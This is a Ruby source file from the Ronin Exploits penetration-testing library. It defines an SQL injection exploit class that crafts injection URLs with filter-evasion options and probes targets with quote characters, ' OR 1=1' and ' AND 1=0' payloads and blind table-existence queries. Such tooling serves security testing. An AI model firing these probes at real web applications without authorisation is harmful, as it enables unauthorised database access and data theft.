#
# Ronin Exploits - A Ruby library for Ronin that provides exploitation and
# payload crafting functionality.
#
# Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# This file is part of Ronin Exploits.
#
# Ronin is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ronin is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ronin.  If not, see <http://www.gnu.org/licenses/>
#

require 'ronin/exploits/web'
require 'ronin/sql'

module Ronin
  module Exploits
    class SQLi < Web

      # Different types of white-space to use
      SPACES = {
        nil      => ' ',
        tab:     "\t",
        newline: "\n",
        comment: '/**/'
      }

      # The type of escaping technique to use
      property :escape, String, set: %w[integer decimal string list column],
                                default: 'integer'

      # The type of String quotation to use
      property :quotes, String, set:     %w[single double],
                                default: 'single'

      # Whether or not to terminate the String with a SQL comment
      property :terminate, Boolean, default: false

      # Controls case-randomization of table/function names
      parameter :case, type:        Symbol,
                       description: 'Case (none, lower, upper, random)'

      # Controls whether spaces or other kinds of white-space are used to
      # separate keywords.
      parameter :space, type:        Symbol,
                        description: 'White-space (space, tab, new-line, comment)'

      #
      # The place-holder value to insert just before the injected SQL.
      #
      # @return [Integer, String, Symbol, Array<Integer, String>]
      #   The place-holder Object.
      #
      def place_holder
        @place_holder ||= case self.escape.to_sym
                          when :integer then url_query_param_value.to_i
                          when :decimal then url_query_param_value.to_f
                          when :string  then url_query_param_value.to_s
                          when :list
                            case url_query_param_value
                            when /^\d+$/      then [url_query_param_value.to_i]
                            when /^\d*\.\d+$/ then [url_query_param_value.to_f]
                            else                   [url_query_param_value.to_s]
                            end
                          when :column  then url_query_param_value.to_sym
                          end
      end

      #
      # Creates a new SQL injection.
      #
      # @return [SQL::Injection]
      #   The new SQL injection.
      #
      # @see http://ronin-ruby.github.com/docs/ronin-sql/Ronin/SQL/Injection.html
      #
      def sqli(&block)
        SQL::Injection.new(
          escape:       self.escape.to_sym,
          place_holder: place_holder,
          &block
        )
      end

      #
      # Creates an exploit URL which inject the SQL.
      #
      # @param [#to_sql, #to_s] sql
      #   The SQL expression to inject.
      #
      # @param [Hash] query_params
      #   Additional query params.
      #
      # @return [URI::HTTP]
      #   The exploit URL.
      #
      def exploit_url(sql,query_params={})
        sql = if sql.respond_to?(:to_sql)
                sql.to_sql(
                  space:     SPACES[self.space],
                  terminate: self.terminate?
                )
              else
                sql.to_s
              end

        return super(sql,query_params)
      end

      #
      # Tests for SQL injection by appending tick marks (`'`, `"`, `\``).
      #
      # @return [Boolean]
      #   Specifies if SQL injection was detected.
      #
      def test_quotes
        %w[' " `].any? { |quote| exploit(quote).code == '500' }
      end

      #
      # Tests for SQL injection by appending ` AND 1=0`.
      #
      # @return [Boolean]
      #   Specifies if SQL injection was detected.
      #
      def test_and_false
        sql = sqli.and { 1 == 0 }

        normal_response.content_length > exploit(sql).content_length
      end

      #
      # Tests for SQL injection by appending ` OR 1=1`.
      #
      # @return [Boolean]
      #   Specifies if SQL injection was detected.
      #
      def test_or_true
        sql = sqli.or { 1 == 1 }

        normal_response.content_length < exploit(sql).content_length
      end

      #
      # Tests whether the URL is vulnerable to SQL injection.
      #
      # @return [Boolean]
      #   Specifies if SQL injection was detected.
      #
      # @see #test_and_false
      # @see #test_or_true
      # @see #test_quotes
      #
      def vulnerable?
        test_or_true    ||
        test_and_false  ||
        test_quotes
      end

      #
      # Determines if a table exists in the Database.
      #
      # @param [String] name
      #   The name of the table to check for.
      #
      # @return [Boolean]
      #   Specifies whether the table exists in the Database.
      #
      def db_has_table?(name)
        sql = sqli.and { |sql| sql.select(sql.count).from(name) == 1 }

        !(normal_response.content_length < exploit(sql).content_length)
      end

    end
  end
end
